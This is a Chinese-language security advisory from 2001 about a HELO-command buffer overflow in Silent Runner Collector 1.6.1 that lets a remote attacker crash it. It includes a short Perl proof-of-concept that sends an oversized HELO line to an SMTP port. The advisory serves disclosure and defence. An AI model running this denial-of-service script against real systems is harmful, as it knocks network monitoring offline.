xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Silent Runner Collector 在HELO命令中存在缓冲溢出


发布时间:2001-04-02
更新时间:2001-04-02
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Silent Runner Collector 1.6.1
详细描述
SilentRunner(http://www.silentrunner.com/)是一个被动的,多功能的来监视
网络活动的工具,并能产生图形化的网络使用情况和漏洞,其中在程序SNIFF部分
中存在一个对SMTP请求解析问题导致远程攻击者可以使程序崩溃。问题存在于SMTP
HELO行中的缓冲区,当超过4096字节HELO命令作为网络信息段给程序监视,将导致
程序崩溃。

测试代码
#!/usr/bin/perl
# This is a simple script that demonstrates the
# SRC HELO overflow vulnerability. It will result
# in a crashed silent runner collector so please do
# not use it on production networks. It is intended
# for demonstration purposes only.

use IO::Socket;

$remote_host = '192.168.111.3';
$remote_port = 25;

$buf = 'A' x 4092;

$socket = IO::Socket::INET->new(PeerAddr => $remote_host,

PeerPort => $remote_port,

Proto => "tcp",

Type => SOCK_STREAM)
or die "Can't connect to $remote_host:$remote_port : $@\n";

# 'HELO ' + $buf = 4097 bytes ( 1 byte too much)
print $socket "HELO $buf";

exit;

解决方案
尚无

相关信息
Jack Hayes(jackhayes at CABLESPEED.COM)